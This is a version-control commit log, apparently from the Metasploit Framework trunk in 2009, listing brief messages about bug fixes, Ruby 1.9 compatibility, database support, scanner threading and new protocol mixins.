kris 4b9785e1b7 Fix aux run_batch() handling when using multiple threads: it would often pass
modules a duplicate or even empty batch array.


git-svn-id: file:///home/svn/framework3/trunk@6808 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-16 00:20:54 +00:00
kris ea272e87dd comment typo
git-svn-id: file:///home/svn/framework3/trunk@6805 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-15 06:40:23 +00:00
HD Moore 1ffa74cbb3 Fix the Benchmark method issue by loading active_support which extends Benchmark
git-svn-id: file:///home/svn/framework3/trunk@6801 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-14 18:27:34 +00:00
Mario Ceballos 212dc2f2b0 addition of oracle mixin and sql client.
git-svn-id: file:///home/svn/framework3/trunk@6796 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-14 03:55:32 +00:00
HD Moore 5fb316b383 Integrates L4teral's JS encoder/encrypter
git-svn-id: file:///home/svn/framework3/trunk@6784 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-13 22:17:11 +00:00
Mario Ceballos 0b13cb8d6a remove methods already covered by other aux modules.
git-svn-id: file:///home/svn/framework3/trunk@6776 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-13 03:52:49 +00:00
HD Moore d0232e388f Adds a new mixin for FTP server support
git-svn-id: file:///home/svn/framework3/trunk@6769 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-12 20:37:57 +00:00
HD Moore bb4b4dbcb0 Apply jabra's patch for smtp output
git-svn-id: file:///home/svn/framework3/trunk@6766 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-12 01:47:04 +00:00
kris 09eb53be5b Use the {add|remove}_socket methods in the IP, TCP and UDP mixins instead doing
the same things individually in each



git-svn-id: file:///home/svn/framework3/trunk@6757 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-09 06:58:11 +00:00
druid 63f7875723 Parenthesized arguments
git-svn-id: file:///home/svn/framework3/trunk@6752 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-08 20:51:47 +00:00
HD Moore 48e1e5f351 Merge Stephen Fewer's patches to enable support for Windows 7 (fixes support for NT and 2000 as well)
git-svn-id: file:///home/svn/framework3/trunk@6744 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-05 20:24:37 +00:00
druid f14de093ed Updated some of the looping code in regexp match method, added new putc and getc methods.
git-svn-id: file:///home/svn/framework3/trunk@6726 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-30 00:59:58 +00:00
HD Moore 5cbef4983f Add detection of Windows Storage Server 2008
git-svn-id: file:///home/svn/framework3/trunk@6724 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-28 20:23:31 +00:00
HD Moore 8ba889e7be Add signature for Windows 7
git-svn-id: file:///home/svn/framework3/trunk@6723 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-28 14:39:07 +00:00
HD Moore b437190fc3 Speedup patch from Yoann Guillot
git-svn-id: file:///home/svn/framework3/trunk@6714 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-25 19:50:44 +00:00
HD Moore e27691c543 Performance and debugging improvements from Yoann Guillot
git-svn-id: file:///home/svn/framework3/trunk@6712 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-25 17:59:51 +00:00
HD Moore 20b232b9d5 Bug fixes from Efrain
git-svn-id: file:///home/svn/framework3/trunk@6711 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 20:02:29 +00:00
HD Moore 83c34b10ce Stop trying to use the non-existent note variable
git-svn-id: file:///home/svn/framework3/trunk@6709 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 19:14:19 +00:00
HD Moore 76ca3e7741 Fix up EXE to VBA handling
git-svn-id: file:///home/svn/framework3/trunk@6708 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 03:59:54 +00:00
HD Moore d981332b89 Better search behavior for console and msfweb
git-svn-id: file:///home/svn/framework3/trunk@6706 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 01:31:16 +00:00
Ramon de C Valle c2362ec409 All your POWER are belong to us.
git-svn-id: file:///home/svn/framework3/trunk@6698 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-23 03:49:25 +00:00
HD Moore fdfcbaef01 Default EXITFUNC to thread - solves some common user goofs
git-svn-id: file:///home/svn/framework3/trunk@6695 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-21 20:30:55 +00:00
HD Moore a13c01ed3e Load the encoders/nops modules in msfpayload for encoding, load nops in msfencode
git-svn-id: file:///home/svn/framework3/trunk@6694 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-21 15:59:09 +00:00
HD Moore 0f61ce4ccb Prefer $HOME over LOCALAPPDATA/APPDATA/USERPROFILE
git-svn-id: file:///home/svn/framework3/trunk@6692 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-21 14:16:39 +00:00
HD Moore 2283e0ffe4 Update executable template and API
git-svn-id: file:///home/svn/framework3/trunk@6682 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 17:42:17 +00:00
HD Moore 5a4ad7c1c9 Another 1.9.1 compatibility fix
git-svn-id: file:///home/svn/framework3/trunk@6676 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 03:18:04 +00:00
HD Moore e6e8a42090 Enforce maximum thread count on windows platforms
git-svn-id: file:///home/svn/framework3/trunk@6672 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-19 21:46:40 +00:00
HD Moore 832b66a03f Fix the wrong class name (patch from antoine)
git-svn-id: file:///home/svn/framework3/trunk@6669 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-17 21:05:19 +00:00
HD Moore 9f69267759 Switch all warnings to stderr
git-svn-id: file:///home/svn/framework3/trunk@6663 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-15 02:40:28 +00:00
HD Moore f9effa15c8 Indicate lack of JRuby support, pending completion of JRUBY-2739
git-svn-id: file:///home/svn/framework3/trunk@6662 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-14 21:37:02 +00:00
HD Moore f78482d3f5 Indicate lack of support for ruby 1.9.0, indicate experimental support for ruby 1.9.1
git-svn-id: file:///home/svn/framework3/trunk@6661 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-14 21:30:56 +00:00
HD Moore e841228ea5 allow the SSL option to be overridden
git-svn-id: file:///home/svn/framework3/trunk@6635 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-09 21:12:15 +00:00
HD Moore 0f6b6f6169 Allow the equal sign to be used as part of an option value
git-svn-id: file:///home/svn/framework3/trunk@6634 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-09 20:43:42 +00:00
HD Moore 68888c469f Indicate why database support is not enabled
git-svn-id: file:///home/svn/framework3/trunk@6623 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-03 16:28:28 +00:00
HD Moore 1c11bbb12d Dont default to global, breaks in-module threading of send_request_cgi
git-svn-id: file:///home/svn/framework3/trunk@6620 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-03 05:05:29 +00:00
HD Moore 0e35efaea2 Force binary string encoding in ruby 1.9.1, fix up a bad index call in x86.rb
git-svn-id: file:///home/svn/framework3/trunk@6618 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-03 03:02:42 +00:00
HD Moore 147a292825 Minor fixes for ruby 1.9.1 compatibility, still quite a bit more to go
git-svn-id: file:///home/svn/framework3/trunk@6612 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-02 23:36:58 +00:00
HD Moore 9fabd18c24 Ruby 1.9 compatibility changes
git-svn-id: file:///home/svn/framework3/trunk@6591 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-29 13:46:12 +00:00
HD Moore 6a76e5d0a2 One of potentially many threading issues with ruby 1.9
git-svn-id: file:///home/svn/framework3/trunk@6590 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-29 03:18:00 +00:00
et 7c16f5b5c9 Added wmap sql command to access db directly from wmap. XML reporting.
git-svn-id: file:///home/svn/framework3/trunk@6587 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-28 03:26:27 +00:00
James Lee 99afc981d2 log a useful error message
git-svn-id: file:///home/svn/framework3/trunk@6573 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-21 23:37:07 +00:00
Ramon de C Valle a044ac4661 Do not print backtrace when handling Exception.
git-svn-id: file:///home/svn/framework3/trunk@6544 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-11 17:51:02 +00:00
HD Moore 5384f5685a Removing the lock to support joins, may introduce other bugs with concurrency, still testing
git-svn-id: file:///home/svn/framework3/trunk@6536 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-09 04:18:27 +00:00
Ramon de C Valle caffa9da9f Oops
git-svn-id: file:///home/svn/framework3/trunk@6534 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-08 20:27:40 +00:00
Ramon de C Valle 84f9f344cf Case no Rex UDP socket is passed to RexUDPTransport use Standard UDP socket
git-svn-id: file:///home/svn/framework3/trunk@6533 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-08 20:26:22 +00:00
Ramon de C Valle d62822a9fb Fixed SNMP Library
git-svn-id: file:///home/svn/framework3/trunk@6531 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-08 19:56:32 +00:00
HD Moore 8f63fc27e3 Adds the new SNMP mixin, still not working perfectly, but a good start
git-svn-id: file:///home/svn/framework3/trunk@6530 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-08 04:18:31 +00:00
HD Moore 304944d792 db_del_port from jabra
git-svn-id: file:///home/svn/framework3/trunk@6498 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-26 14:53:37 +00:00
Patrick Webster 0b14dac349 Added rand_text_highascii method.
git-svn-id: file:///home/svn/framework3/trunk@6487 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-16 03:02:41 +00:00
cg a2891e86de uhoh with personal stuff in exploit.rb
git-svn-id: file:///home/svn/framework3/trunk@6484 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-15 03:32:04 +00:00
cg cf1d255a55 SMTP Banner Grabber Aux module
git-svn-id: file:///home/svn/framework3/trunk@6483 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-15 03:26:22 +00:00
James Lee a8863ce330 possible fix to make postgres work again
git-svn-id: file:///home/svn/framework3/trunk@6478 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-12 07:09:03 +00:00
et 0c859dc35e Minor fixes regarding target_host handling
git-svn-id: file:///home/svn/framework3/trunk@6477 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-12 02:00:50 +00:00
kris 17ad98e8e3 Add 'Msf' to 'Context' in the connect command's socket for db_tracker
git-svn-id: file:///home/svn/framework3/trunk@6476 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-11 12:07:50 +00:00
kris 162a835212 Keep the back command from removing the database backend stuff since it's
been moved to metasploit core



git-svn-id: file:///home/svn/framework3/trunk@6474 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-10 23:56:28 +00:00
kris 9bcc3b3167 update aux scanner error message
git-svn-id: file:///home/svn/framework3/trunk@6473 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-10 04:05:05 +00:00
kris 0a67b8ec74 show license info for aux modules
git-svn-id: file:///home/svn/framework3/trunk@6471 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-08 20:53:04 +00:00
kris 1253e7a044 Catch ENOENT for db_destroy for sqlite3 so no backtrace is printed. I decided
to give a little error message for trying to destroy a nonexistent db still.


git-svn-id: file:///home/svn/framework3/trunk@6468 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-08 03:30:18 +00:00
kris b5a8c86241 use print_error
git-svn-id: file:///home/svn/framework3/trunk@6467 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-08 03:11:12 +00:00
kris 6b28b786ac watch out for RuntimeError in loadpath
git-svn-id: file:///home/svn/framework3/trunk@6466 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-08 03:04:29 +00:00
James Lee 8fd36fecf5 make plugin load failure a bit more graceful
git-svn-id: file:///home/svn/framework3/trunk@6460 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-07 05:59:38 +00:00
kris 1eb8c8dfc0 meh, what can I say? I like my name
git-svn-id: file:///home/svn/framework3/trunk@6459 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-03 15:05:35 +00:00
et ce9e47c06b fixed error wmap modules crashing when vhost is nil
git-svn-id: file:///home/svn/framework3/trunk@6447 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-30 04:22:47 +00:00
HD Moore 1b205ee0ee slight fixes for ruby 1.9 compatibility (1.9 will stil not work)
git-svn-id: file:///home/svn/framework3/trunk@6445 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-30 02:57:10 +00:00
HD Moore 1073b04eb7 Remove sqlite2 support, force load sqlite3 gem
git-svn-id: file:///home/svn/framework3/trunk@6425 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-29 03:40:25 +00:00
HD Moore 2552633f9b Fix up batch mode aux scanners that dont use the tcp mixin. Minor changes to snmp_scan
git-svn-id: file:///home/svn/framework3/trunk@6422 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-29 03:11:56 +00:00
kris 62a1d3037d just a whitespace fix
git-svn-id: file:///home/svn/framework3/trunk@6419 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 23:04:28 +00:00
HD Moore 191289450e Meterpreter is now the default payload for windows autopwn targets
git-svn-id: file:///home/svn/framework3/trunk@6418 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 21:51:35 +00:00
HD Moore 709362ff53 This patch moves all database interaction into the metasploit core. Usage is about the same, except instead of loading a plugin, you call db_driver <driver_name>
git-svn-id: file:///home/svn/framework3/trunk@6417 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 21:42:30 +00:00
HD Moore 8b32f139d3 Skip svn directories for module searches, remove delay loading system (no longer used), enumerate available database drivers at load
git-svn-id: file:///home/svn/framework3/trunk@6416 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 20:45:46 +00:00
HD Moore 3d6a0bab52 Fix up the version/options modules, make wmap_base_url display the vhost and use the host/port separator correctly
git-svn-id: file:///home/svn/framework3/trunk@6414 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 17:57:12 +00:00
HD Moore 89ad4df087 Fix WMAP modules to use the new scanner api; add wmap_base_url as a shorthand (extend in the future to do VHOST as well), general cosmetic cleanups
git-svn-id: file:///home/svn/framework3/trunk@6413 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 17:45:14 +00:00
HD Moore 26b9903b0d Changes Auxiliary::Scanner to use a new module instance for each thread, updates associated mixins and modules to support this change.
git-svn-id: file:///home/svn/framework3/trunk@6401 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 05:49:33 +00:00